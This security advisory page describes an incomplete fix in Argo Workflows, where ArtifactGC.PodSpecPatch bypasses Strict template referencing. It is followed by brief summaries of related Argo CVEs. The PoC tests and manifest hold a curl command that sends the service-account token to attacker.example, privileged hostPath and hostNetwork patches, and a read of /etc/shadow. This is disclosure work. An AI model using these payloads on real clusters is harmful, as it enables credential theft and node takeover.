Where
-Infinity
0
Severity
8.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale }

func ValidateUserOverrides(userSpec wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... }

The allow-listed type - pkg/apis/workflow/v1alpha1/workflowtypes.go:1207-1217:

go type WorkflowLevelArtifactGC struct { ArtifactGC json:",inline" ForceFinalizerRemoval bool json:"forceFinalizerRemoval,omitempty" PodSpecPatch string json:"podSpecPatch,omitempty" // <-- sink input }

The sink - workflow/controller/artifactgc.go:731-740 reads the user-controlled value:

go func (woc wfOperationCtx) getArtifactGCPodInfo(artifact wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... }

And workflow/controller/artifactgc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = patchedPodSpec }

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifactgc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifactgc.go:79 HasArtifactGC iterates execWf.Spec.Templates[].Outputs.Artifacts[] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflowtypes.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.PodSpecPatch" --include=".go" workflow/validate/ (no output)

The merge-package test file added with the fix (workflow/util/mergetest.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/mergeartifactgcpoctest.go:

go package util

import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" )

func TestPoCArtifactGCPodSpecPatchPassesAllowList(t testing.T) { attackerPatch := {"containers":[{"name":"main","image":"attacker/evil:latest", + "command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}], + "hostNetwork":true} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, }

// Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec))

// Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) }

poc/artgcsinkpoctest.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

go func TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t testing.T) { attackerPatch := containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYSADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec)

// Baseline built exactly like workflow/controller/artifactgc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ / AutomountSAToken=true, MinimalCtrSC, limits, etc. / }

patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err)

assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) }

Run:

go test -v -run "TestPoCArtifactGC" ./workflow/util/

Captured output:

=== RUN TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoCArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoCArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s

End-to-end Workflow manifest (for a live cluster reproduction by maintainers):

yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /}

Controller config for the test cluster:

yaml workflowRestrictions: templateReferencing: Strict

With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.

Impact

Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:

- run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYSADMIN], - mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).

This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.

A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

1 / 2
Source: GitHub
First published (updated )
Severity
7

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, the Webhook Interceptor loads the entire request body into memory before authenticating the request or verifying its signature. This occurs on the /api/v1/events/ endpoint, which is publicly accessible (albeit intended for webhooks). An attacker can send a request with an extremely large body (e.g., multiple gigabytes), causing the Argo Server to allocate excessive memory, potentially leading to an Out-Of-Memory (OOM) crash and denial of service. This issue has been patched in versions 3.7.14 and 4.0.5.

First published (updated )
Severity
7

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.

First published (updated )
Severity
7

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

First published (updated )
Severity
7

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

First published (updated )
Severity
7

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.

First published (updated )
Severity
7
XSS

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203